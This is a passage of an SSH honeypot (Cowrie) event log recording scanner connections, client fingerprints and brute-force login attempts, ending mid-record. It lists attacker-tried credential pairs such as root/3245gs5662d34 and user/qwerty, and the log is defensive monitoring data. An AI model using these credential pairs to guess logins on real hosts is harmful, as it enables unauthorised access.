{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:00.475956Z","src_ip":"213.209.159.158","session":"8cf51344e147","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:01.066759Z","src_ip":"60.199.224.2","session":"636991dd8e8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:01.273394Z","src_ip":"60.199.224.2","session":"5a2c753cd651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:01.278486Z","src_ip":"60.199.224.2","session":"636991dd8e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47690,"dst_ip":"159.203.135.109","dst_port":22,"session":"45bda68bde74","protocol":"ssh","message":"New connection: 195.178.110.218:47690 (159.203.135.109:22) [session: 45bda68bde74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:07.555999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:07.561757Z","src_ip":"195.178.110.218","session":"45bda68bde74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:07.636797Z","src_ip":"195.178.110.218","session":"45bda68bde74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:07.862921Z","src_ip":"195.178.110.218","session":"45bda68bde74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:08.940489Z","src_ip":"195.178.110.218","session":"45bda68bde74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bazy","password":"bazy","message":"login attempt [bazy/bazy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:10.285482Z","src_ip":"213.209.159.158","session":"8cf51344e147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:13.911914Z","src_ip":"213.209.159.158","session":"8cf51344e147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":51710,"dst_ip":"159.203.135.109","dst_port":22,"session":"198bf2508648","protocol":"ssh","message":"New connection: 213.209.159.158:51710 (159.203.135.109:22) [session: 198bf2508648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:13.990235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:16.257685Z","src_ip":"213.209.159.158","session":"198bf2508648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:16.261013Z","src_ip":"213.209.159.158","session":"198bf2508648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"]","password":"]","message":"login attempt []/]] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:26.309285Z","src_ip":"213.209.159.158","session":"198bf2508648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:29.708962Z","src_ip":"213.209.159.158","session":"198bf2508648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57912,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e8d7191d767","protocol":"ssh","message":"New connection: 213.209.159.158:57912 (159.203.135.109:22) [session: 5e8d7191d767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:29.798001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:31.922663Z","src_ip":"213.209.159.158","session":"5e8d7191d767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:31.926075Z","src_ip":"213.209.159.158","session":"5e8d7191d767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty","message":"login attempt [user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:42.126141Z","src_ip":"213.209.159.158","session":"5e8d7191d767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":57500,"dst_ip":"159.203.135.109","dst_port":22,"session":"07f9963ef86c","protocol":"ssh","message":"New connection: 2.57.122.210:57500 (159.203.135.109:22) [session: 07f9963ef86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:43.585874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:43.589441Z","src_ip":"2.57.122.210","session":"07f9963ef86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:43.693440Z","src_ip":"2.57.122.210","session":"07f9963ef86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:44.015978Z","src_ip":"2.57.122.210","session":"07f9963ef86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:45.121795Z","src_ip":"2.57.122.210","session":"07f9963ef86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:45.372666Z","src_ip":"213.209.159.158","session":"5e8d7191d767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63878,"dst_ip":"159.203.135.109","dst_port":22,"session":"c16c9a8f3d8f","protocol":"ssh","message":"New connection: 213.209.159.158:63878 (159.203.135.109:22) [session: c16c9a8f3d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:45.469020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:48.132306Z","src_ip":"213.209.159.158","session":"c16c9a8f3d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:48.135815Z","src_ip":"213.209.159.158","session":"c16c9a8f3d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":32932,"dst_ip":"159.203.135.109","dst_port":22,"session":"f52ffe62a7d6","protocol":"ssh","message":"New connection: 34.85.163.94:32932 (159.203.135.109:22) [session: f52ffe62a7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:52.038936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:52.043226Z","src_ip":"34.85.163.94","session":"f52ffe62a7d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:52.053280Z","src_ip":"34.85.163.94","session":"f52ffe62a7d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jonathan","password":"jonathanpass","message":"login attempt [jonathan/jonathanpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:52.314149Z","src_ip":"34.85.163.94","session":"f52ffe62a7d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:53.325809Z","src_ip":"34.85.163.94","session":"f52ffe62a7d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amq","password":"123456","message":"login attempt [amq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:38:57.976654Z","src_ip":"213.209.159.158","session":"c16c9a8f3d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:01.142809Z","src_ip":"213.209.159.158","session":"c16c9a8f3d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13782,"dst_ip":"159.203.135.109","dst_port":22,"session":"576d10569fe7","protocol":"ssh","message":"New connection: 213.209.159.158:13782 (159.203.135.109:22) [session: 576d10569fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:01.269402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:03.826001Z","src_ip":"213.209.159.158","session":"576d10569fe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:03.830052Z","src_ip":"213.209.159.158","session":"576d10569fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:13.540884Z","src_ip":"213.209.159.158","session":"576d10569fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:17.293761Z","src_ip":"213.209.159.158","session":"576d10569fe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41210,"dst_ip":"159.203.135.109","dst_port":22,"session":"384b5bb9da03","protocol":"ssh","message":"New connection: 213.209.159.158:41210 (159.203.135.109:22) [session: 384b5bb9da03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:17.401546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:39:19.591265Z","src_ip":"213.209.159.158","session":"384b5bb9da03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"